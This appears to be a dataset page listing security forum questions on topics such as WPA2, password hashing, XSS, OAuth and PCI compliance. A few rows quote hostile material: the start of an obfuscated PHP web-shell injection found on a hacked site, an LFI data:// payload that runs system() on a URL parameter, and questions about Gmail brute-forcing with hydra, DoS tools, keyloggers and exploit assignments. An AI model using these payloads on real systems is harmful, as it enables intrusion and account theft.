instruction stringlengths 24 29.9k |
|---|
Say we have two WPA2 enterprise setups using a RADIUS server. If both implementations use MSCHAPV2 and the same credentials. Which of the two would be more secure and how are these two implementations actually different.
The difference between these 2 implementations is that one uses Tunneled TLS (TTLS) and the other P... |
I'm working on an application that'll be used by relatively non tech-savvy users, and while the machines will have internet access, the app can't have any sort of hosted intermediary.
The app allows people to take a file, compresses it down and encodes it as an image for sharing on sites like GitHub to aid in sharing t... |
Sorry if the question title sounds unclear, I'll happily accept suggestions how to make it better.
Background
We are running a rather complicated SCADA/MES system with a Web interface through which users can, beside other things, set values directly to a PLC control system. The topology is m:1:n, which is many clients ... |
Background
I am working as a front-end developer, and I have very little security experience. We are working with a very obscure backend setup, using a 4D database and WebClerk on top of it.
WebClerk allows for logged in users. All pages are actual .html pages, with specific WebClerk code which is processed on pageload... |
I'm working on my miner for my "game" site that's basically a pre-image attack from a hash posted online. You submit a hash input, it's hashed, and your score is the hamming distance (the number of bits that differ) between the two values. If it matters, I'm using Skein-1024 v1.3
My miner up until now has been incremen... |
I have a Windows 10 pro license and i wanted to use Windows 10. But seeing how it treats the user's privacy and all, I am having second thoughts. I've read a lot about how Windows 10 is a disaster and all, but i want to hear it from some pros with experience in these kinds of stuff. So, as a person who's concerned with... |
I was wondering if below GET requests from a HTML file and a javascript file, are vulnerable to AJAX Hijacking/JavaScript Hijacking?
AJAX Hijacking: http://haacked.com/archive/2009/06/25/json-hijacking.aspx/
JavaScript Hijacking: http://www.net-security.org/dl/articles/JavaScript_Hijacking.pdf
1)
v... |
Understand the need to protection credentials with hashes that are expensive and to use cryptographically random salts.
What I would like to understand is why you would store the salt along side the hash in the database, does this not defeat the point of having one?
Take a SQL injection vulnerability in which I can du... |
I heard that IP spoofing is now mostly blocked by ISPs, especially on the consumer-grade links. Is there any research on the number of networks that still allow users to spoof an IP packet with an address outside originating ISP?
|
I am looking to buying a small mechanical keyboard for on the go and to use it with various office computers. The ones I like are the Ducky Mini and KBParadise V60. The former has a ARM Cortex-M3 processor embedded which can even receive firmware updates. I have not found anything on the latter.
With the Bad USB issues... |
I'm building a web app where users can make post which consist of an html doc. An user can change the document via the dev tool for example. So the document consists of literally any user input. I'm worried about XSS since I'm not experienced in this area. To prevent XSS injections, I'm using jsoup to parse the content... |
I was visiting the CERT site main page today for another reason when I glanced at the list of recent vulnerability bulletins and came across some news I had somehow missed before today: a notice that five rather serious vulnerabilities had been found in Belkin's N600 Wireless Dual Band N+ routers. Among them is this d... |
It would appear one of my neighbours is monitoring my internet traffic, I am wondering firstly how is this possible and secondly would using a VPN stop the attacker from being able to read / intercept my traffic? They are posting my data online and others are harassing me for it.
What can I do to stop this? Will replac... |
I know that a coder is able to connect to a wifi through code so my question is: Is there anything that will make it difficult to brute force a wifi password?
|
We all have gotten them:
The reflection of your size will stay forever in her eyes.
Bigger pen!s gives you a bunch of benefits!
I have girls that ring me for sex now, its amazing!
Judging by the quantity of these messages in circulation, sending out Viagra (or similar) spam is clearly a huge business. The individ... |
I have a general question regarding how scopes in the OAuth2 protocol
are handled. For easy argumentation lets start with a concrete example:
Lets say I have an OAuth server A which I want to use in order to protect two
RESTful APIs R1 and R2. These two services have special scopes that they use to grant a user access ... |
The procedure suggested by forensics companies to make a copy of a users's mailbox in a forensically sound manner is to use New-MailboxExportRequest.
What information is modified (if any) by the use of this command?
My understanding is that the action is logged but was under the impression that the mailbox data themsel... |
There is a system that, on a login form, presents about 40 boxes for password letters (to hide password's actual length), and only random ones (the same amount each time) are editable. Explanation is - to secure me from keyloggers. Seems legit. But does it means my password is kept in plain text? Or is there any known ... |
I am already aware that a BIOS or UEFI malware "activate" only in the OS environment. Is it possible though that a spread mechanism be activated without the presence of the OS, so that it would infect plugged storage drives (IDE, SATA or USB) with the same or other malware ?
Example Scenario:
Let a PC with BIOS or UEFI... |
On web applications I build I don't hash the passwords. Instead I symmetrically encrypt the username using the user's password and store the result in the password field. I use RijndaelManaged on dotnet.
On login I do it again and check if there is a match.
My question is, how secure is this now when more and more data... |
Even if I enforce HTTPS and use anti-forgery tokens, it seems like Windows Authentication could be inherently insecure because it does not require that the user explicitly passes credentials from the client to the server.
In environments where folks are using older browsers that may not enforce CORS (and especially if... |
I got into a discussion with one of our senior developers over password hashing/transmission best practices and it left me curious as to what the industry standard best practice is.
In the previous/current revision of our web service, we transmit users' plaintext passwords with SSL to the server and hash them server si... |
What is the purpose of the « fingerprint » section of a x509 certificate, and is there an issue using SHA1 for it ?
I understand the certificate signature section, but I can’t see the point with the fingerprint section.
|
I made it work a job account protected by a certificate in a java spring application but is not that clear to me the minimal steps.(Could you believe that :) I need some theory.
Here my steps:
get the certificate of format pkcs12
install the certificate on my windows7 machine(Installed in trusted root)
checking ex... |
I am working with an extremely large NTDS.DIT file. It is about 20gb.
Originally, I was attempting to dump all of the hashes from the NTDS.DIT file. I tried using meterpreter domain hash dump, smart hash dump, and just simply hash dump on the domain controller. Each time, I received errors from Meterpreter.
Once I ran... |
This question isn't about me, though it easily could be, since there are many Barry Carter's out there.
Suppose I find out someone is using my FaceBook (or Twitter or StackExchange or whatever) screenname on another site.
I don't want to stop that person from using "my" screenname, because I realize I don't have a lega... |
The system runs a SSH daemon, and a nginx web server, both ports being open to the internet. We are part of a university so our ports are forwarded from the main router to the intranet.
At about 19:00, the SSH daemon stops responding to all requests for login. All passwords as well as SSH keys seem invalid. We responde... |
If I connect my Windows 7 PC to a third-party (wireless) network what information might the network admin be able to obtain about me?
I know they can (sometimes) see traffic but that's not an issue as I always run a VPN.
I'm talking about other identifying information. Presumably they can see my MAC address and timing ... |
The recent OPM hack has revealed more fingerprints were stolen than previously believed.
One of the scariest parts of the massive cybersecurity breaches at the Office of Personnel Management just got worse: The agency now says 5.6 million people's fingerprints were stolen as part of the hacks.
What, exactly was stole... |
Banking systems store account information in databases such as Oracle and databases are maintained and administered by DB administrators. The account information is stored in a table and a column of that table may contain balances. So it sounds like a DB admin can change balance of an account and for example he can put... |
Here is a scenario.
You are a small startup company that makes a video game. In your video game, you can exchange money for items. You are not dealing with the credit card/debit card directly but instead outsource it to third party service.
Still, even if you are not dealing with the credit card/debit card directly, yo... |
A home wifi router is configured to use a vpn service, such as PIA, and in particular is configured to use the openvpn protocol. Is all traffic through this router sent through a single port?
Is the following an accurate representation of the flow of traffic between a computer behind a vpn router and a website? (Also ... |
I received a security scan from Fortify on a webapp (using SSL/HTTPS) written in Angular that I am working on and I have two questions (high risk issues) that I'm seeking help on.
Access Control: Unprotected File - GET /fonts/fontawesome-webfont.ttf?4.3.0. So the webapp uses fontawesome icons and I'm guessing that th... |
Found a few issue threads, notably for Chrome (Chromium issue #478225), and the browser does appear to have dropped support for the secp521r1 curve (can test your browser using SSLLabs). There were other issue threads for other software packages that also claim that the curve will not be supported as of certain release... |
I am looking for an alternative for my current e-mail provider (gmail). I would like to gain back a little bit more "privacy" on the internet. I would like the following things:
The e-mails I send and receive are not available in bulk for companies like NSA(so best is to locate the servers outside the USA).
The compa... |
IPv6 introduces the NDP extension SeND to help mitigate identity theft, however, is the non-PKI public/private key pair used during the process persistent to some degree, or generated on every connection with the router?
RFC3972 hints at a possible persistent key combination:
One optimization is particularly important... |
Using GoldenEye to launch a DOS attack on a web server, the terminal output reads:
12928 GoldenEye strikes deferred. (0 Failed)
What does 'strikes deferred' refer to?
|
I'm using Socket.IO and the client side looks like this.
<script src="/socket.io/socket.io.js"></script>
<script>
var socket = io();
socket.emit("sendData", "hello!");
</script>
I'm wondering what's stopping a random user, from joining my site, looking at the code, and add the following lines to it, using Chro... |
I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently:
Created a DDNS that points to my public IP
Set up port forwarding for all the important ports I use (6680, 4433)
Tested the setup (DDNS and each port) by accessing t... |
When I deploy new linux servers - I start off with a bare bones Ubuntu Server OS and install only the services that are needed.
SSH
webserver - port 80
These services have iptables rules setup to ACCEPT connections to them
- so the firewall provides no benefit in that regard.
The server gets frequent requests to all... |
Considering hardware tokens implementing OATH TOTP (c.f. RFC6238), it is common knowledge that the clock in such tokens drift. A token that is not used very often is likely to drift way beyond the synchronisation window that an authentication server is using, hence resynchronisation may be required.
A simple form of re... |
I'm asking a practical question. I was taught computers are bad at generating random data. Does this mean password generators, such as the one built into Keepass, suck? If yes, then would it help for the user to manually enter a character or two in the generated password?
|
I write a simple keylogger by C# in Windows (using Hook method SetWindowsHookEx). I checked my application with most antivirus and anti-spyware programs, but none detect it.
Why don't these antivirus or anti-spyware programs disassemble the executable to find usage of SetWindowsHookEx? I read that over 80% of keylogge... |
I've seen that a number of key stretching algorithms and they involved increasing the number of operations needed to compute the key(i.e. the number of rounds within a hash function). But, I wonder if these approaches are more secure as they increase the number of operations needed by a constant amount not taking into ... |
I've moved onto a project where they are implementing a system whereby a user's email address can be used multiple times by different people - i.e. users can sign up as many times as they want with an email address as there's no unique constraint. The theory is that they won't have actual access to the email account so... |
Do web based email providers like Gmail, hotmail encrypt user account passwords when saving them to their database? If they do, why does account information get leaked after a hack?
|
I have a scenario where user entered passwords need to be stored for later use. I cannot use hashing because I need to get the original password for later use.
For example, consider an email sender app where a user would initially enter a password for his email account and the application would store it in encrypted f... |
We have a WebLogic server (WLS_APP) with a lot of web applications, we also have an Oracle Service Bus (WLS_OSB) with a lot of services deployed on it.
We have these services aggregated in proxy services with wss_authentication enabled. So each application that resides in WLS_APP needs a user/password in order to c... |
Due to certain requirements/constraints, I'm wondering about sending user login and password with each request.
This somehow doesn't feel very good to me, though I think for my particular case, it could make sense: it would reduce the number of HTTP requests , reduce the latency and simplify frontend code.
Here is the ... |
Talking about cipher-suites that use RSA both for sign of DH parameters and for digital signature. The keys used for these process are the same, or is there a public and private key for each one?
If the keys are different, explain a scenario that could be dangerous to use the same key for encryption and signature.
What... |
I have a trouble with hydra in kali linux that when i used to brutforce my gmail , it didn't give me the correct password
can someone help me ?
|
I've been having a recurring problem at work:
My boss's contacts keep receiving emails with links sent by a fake adress. The adress always has my boss's name + a different domain name every time. Example: MyBossName@DifferentDomainEverytime
The links in the emails are always existing domain name + something.php.
For e... |
I recently generated a new SSH key in the ed25519 format.
The public key is only 69 bytes long while my old RSA key is 373 bytes.
From my perception ed25519 is the more recent and secure format.
So why isn't longer better here?
|
I am new to PGP and am going through the book. I have GnuPG on my OS X. I've been through the man pages for GnuPG and to encrypt files the following is instructed: https://www.gnupg.org/gph/en/manual/x110.html. But this is not the same as what -cw option does in PGP. Can anyone explain how to execute -cw in GnuPG a... |
I'm desprate because my site has been attacked by some malware that adds code below on every php files. I tried to edit and chmod the infected file but its coming back. Scanning with ClamAV found nothing. Any idea how to clean it?
<?php
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$m1cd6) {... |
Given that information security is derived from physical security, as evidenced by this theft, I'm curious as to what protection surrounds my bank account?
There are two main avenues I'm interested in. Physical security, e.g. locked doors, fences, mission impossible laser beams, and the underlying technical security (e... |
Links that expire can be found anywhere from Email Verification to Password Reset procedures, I understand in most cases this is considered "security theater", but wanted to know what a viable time-frame is for a link to be valid?
Is 10-15 minutes acceptable? With all the unknown factors of email delays etc?
Is a short... |
In forensics, write blockers devices should block every operation that might change the hard drive content.
Besides the write operation what other operations should a write blocker block?
|
With perfect forward secrecy, if an attacker gains access to a certificate private key, my understanding is that all traffic previously encrypted using that private key remains safe from decryption.
But does perfect forward secrecy provide any guarantees with regards to future traffic encrypted using the compromised pr... |
I'm trying to set up a file transfer server, which needs to be secured and logged. FTP was suggested, but that feels outdated so I automatically translated that to SFTP (OpenSSH) in my head.
Using match I can select which users can use the service.
Using ChrootDirectory I can select which area of the filesystem to pub... |
As far as I understand after reading this beautifully explained answer, MiTM data injection attacks via client-initiated renegotiation can only happens if the attacker is already in a connection with the server which did not check his credential. He then issues a command, and escalates his privilege by triggering a ren... |
I have the page to render some content and I allow it to be embedded at any third party page, so I can't use X-Frame-Options.
One of the requirements is to ask user for login/password when content requires authentication. Currently it will open popup, but I don't like that. I would like to create nice dialog with JavaS... |
The site does not allow the following characters: = ?<> ( ) ‘ " / \ &
It also limits maximum password length to 20 characters.
This makes me suspicious that they might be being stored in plain text and inputs aren't being sanitized properly. Is there any other reason for this type of restriction?
I don't think this is ... |
I'm working on an app that will run on a users TV and has a companion mobile app.
I wanted to present a QR code to my users from the the TV app, which is then scanned by the companion mobile app's camera. I was originally thinking of encoding a v4 UUID in the QR code and use it as a shared secret between the two apps.... |
My friend and I were talking about how fast computers could potentially brute force a password these days. I came up with the idea of using letters from a foreign alphabet to use in your password, though I figured that it could be limited if the website couldn't hand those characters. Then he suggested using alt code... |
Suppose a sender and a receiver communicate over some radio channel. Is there a way to prevent packets sent and received are not being repeated/forwarded by a MiTM? That is, when the agents are out of range and the packets are supposed to be lost, no MiTM may effectively repeat those packets.
I've thought about packet ... |
I just got attacked by a couple of viruses while my laptop was completely unprotected. I installed the necessary programs and tried to get most of the symptoms to go away. I also think I deleted most of the malicious files both with the antivirus and manually.
Now everything seems quite normal on my computer but for on... |
How can I guess if a payload is obfuscated or encrypted? in other words can I apply Shannon Entropy algorithm to a binary payload?
any advice will be appreciated,
thanks in advance
|
Using the configuration below we have implemented message security using WCF and WS-security. Note that we use clientCredentialType=Certificate.
Now my questions are:
Does the configuration below represent a cryptographically secure way to verify the identity of the client?
The client uses a certificate with a know pr... |
A few weeks ago, I have been replacing and managing IT inventory. What caught my attention, was that a lot of thin clients are still running Windows XP Embedded SP2.
That made me think about the possible vulnerabilities since those thin clients won't be replaced unless there is a valid reason to do that (e.g. stopped w... |
I have been working on this scenario for a week. I have implemented the code to authenticate client certificate using this link: http://www.asp.net/web-api/overview/security/working-with-ssl-in-web-api.
A few questions are still there:
How can I verify the request certificate is from authorized client only? (I know us... |
I am working on an ASP.NET MVC-5 web application, which is available to public users (no login is required). And I need to prevent the same user from submitting more than 5 "contact us" requests within an hour. So I need a way to differentiate if the Request I am receiving is coming from the same user or not.
I found... |
In various news sources I read often that Google search terms are mass intercepted and tracked. I wonder how is this even technically possible when communication between PC/phone to Google is encrypted by default with HTTPS aka SSL aka TLS? Everytime I read such a claim I cannot believe it is true because this usually... |
I came across an application which needs to generate a random token for each user. It is very important that each generated token is unique. Application code was as follows:
$token = md5(open_ssl_random_pseudo_bytes(64));
I don't know exactly how open_ssl_random_pseudo_bytes works or why the number "64" was chosen, n... |
My local mobile carrier (Play, Poland) and its paid SMS gate is the first example, that I recall in my entire Internet history, that forces users to fill out dully CAPTCHAs even on pages, which are secured by HTTPS protocol and user login.
Is there any reason for doing so in this situation? Is there any increased secur... |
I am quite stuck with an assignment question, exploiting vulnerability (vfprintf) in sudo_debug function with ASLR (CVE: 2012-0809). I can only use string format exploits.
ONLY ASLR IS ENABLED < NO FORTIFY_SOURCE
I must overwrite the value of user_details.uid variable. I have been examining stack to find patterns or of... |
Trusteer claims that:
Trusteer Rapport verifies that you are really connected to the
genuine website as opposed to a fake website created by criminals.
Surprisingly, it is not trivial to reach a genuine website when you
type the website address into your web browser.
Once verification is complete, Trusteer Rapport loc... |
I have developed a custom web browser for Windows using C# (based on Internet Explorer 11) and I'm trying to understand & solve the next issues:
1. I adjusted the User Agent string and the platform changes as well, but when I run a uniqueness check in https://panopticlick.eff.org , a slightly different string shows in ... |
I'm using the Ubuntu GNOME Linux distribution as my desktop. Recently, it became impossible for me to connect to the Internet with it. When I checked its network settings, I saw that the DNS address was 46.161.40.29.
When I searched this IP address on my other desktop (a Windows 7 machine), I found the article http://a... |
Is there a way to rate or review the security for a Java web application?
Except for web scanner or code audit, does it exist a metric/procedure to evaluate the application's security?
Also I have read How to rate Open Source Libraries? and Are there any web application security standards?, but they don't solve my ques... |
What tools or information is needed to verify the authenticity of a SMS message... or to send one so that such authenticity is intact?
This answer describes something as a "message center", but I'm looking for a more complete description of the tools, processes, and possibly the agreements I need to set up with a telco... |
I have been learning metasploit. One thing I noticed was that, all the videos on YouTube, which said "Brute forcing", used a password and a username list. My question is that, won't this be called a dictionary attack instead? Because as far as I know, brute forcing actually generates a password or a string and checks i... |
I was attempting to explain public key cryptography to a layman the other day which requires an explanation of a trap door function. While I do know in principle what a trap door function is, I have to admit the specific mathematical properties behind the prime factorization problem and the ECC problem are beyond me.
... |
I'm hoping someone here can help me. I'm attempting to get the small nonprofit I work at PCI compliant, as we have been paying an additional $20/month in noncompliance fees to our processor since we started taking credit card YEARS ago (apparently I'm the only person to look at statements).
I'm not an IT person, I do ... |
So in a database many user fields could exist. Normally when I setup a database I go off of the security experts recommendations on what fields to encrypt, but I'm curious what is the most standard set of fields to encrypt? As far as I've seen it's usually the password(hashed), credit card(AES), and the phone number(AE... |
So in the world of networks, people try to gain access to the client machine and perform lateral movement. Honeypots are often used to give them an easy access point and show them an unfavorable or fake environment so they leave before doing any real harm, the intrusion gets logged, and the network is safe. At least in... |
I have an unknown process that gets some vars and returns an 8byte hash.
I'm sure which vars it gets and I'm sure these are all the variable parts of the input.
I can query this process when and how I want then I have many and many cases of input and output couples.
My question is, is it mathematically possible to fi... |
Occasionally I will fail to hit Tab properly when entering a username/password combination. This results in me submitting username "myUsername$ecretPa$$word" along with a blank password. I always try to change my password shortly after doing this, fearing that it's entirely possible that someone maintaining the site ... |
I encrypted some files using 7z with AES-256 + file name encryption. The compression level was Ultra, method: LZMA. The password I regularly use is 16 digits. Now the file is not opening. I guess one of the letters in the password was replaced by accident (since I had the "show password" ticked on, there was no chance ... |
It's clear that keyless entry fobs, smart entry cards, NFC, etc. are vulnerable to relay attacks.
Suppose they were improved by limiting the period of activity, eg let them be active only when they are shaken, only when sound is detected, only when today is Tuesday, etc. These reduce the window of opportunity for atta... |
I found LFI in my website and I tried to exploit it, but when I use php://input or data:// it doesn't work, I cannot get the shell.
Example: .index.php?lang=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls -l
I have found <?system($_GET['x']);?> printed in the source code of page (ctrl+f)
How can I exploit it?
How... |
In order to make my question clear I will give a practical scenario. Lets say I have a server where I allow people to upload a script and allot them part of my drive, the script can make requests to the server in order to create files, delete them and add data to existing ones.The script lives at a specific path and al... |
I'm kind of curious: Why would we store a password in a database when we can just encrypt a phrase such as "unlock me" using that password and then, at login, seeing if the encrypted phrase can be successfully decrypted with that key? The way I see it, there is one advantage: If someone should hack into a computer netw... |
I recently had an issue with my MacBook where it wouldn't boot. So I took it in to the apple store, and they said that they would need to send it off to a service center to diagnose and repair it. I received my computer back two days later - working great.
The "problem" is that my Mac is password-protected using FileVa... |
After asking two questions about the security of online cloud storage, it seems to me that we can only at best speculate as to the security practices of the hosting company, and believe what they tell us. Or can we do something more?
For example, people have assessed that Dropbox and Google Drive are insecure because t... |
Over the last couple of years, I've developed a fairly keen interest in Penetration Testing & Information Security. Throughout this time, I've acquired (and accumulated) a range of different devices with network capabilities, primarily, in an effort to learn more about various security auditing techniques. Below is an ... |
Do ATM in London accept magnetic stripe? If yes can a thief still duplicate a credit card and use it in an ATM which accepts magnetic stripes?
|
I have a Microsoft Remote Desktop connecting to a server.
Is it possible to enable copy-pasting from my local computer into the remote windows, but disable it the other way round?
(this way it would be harder to export data from the remote machine)
|
Mutual SSL Authentication is working fine while client is sending certificate of zero size.
And certificate verify message is also missing.
I am amazed how the communication is working fine.
I have TCP dump but I can't share due to security policy of our company.
How is it possible that the communication is working alt... |
I'd like to know why we have to put the shellcode before the return address in a buffer overflow. Logically the return address will point to the shellcode and will be executed, so the return address should be put before the shellcode. Can someone explain me?
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.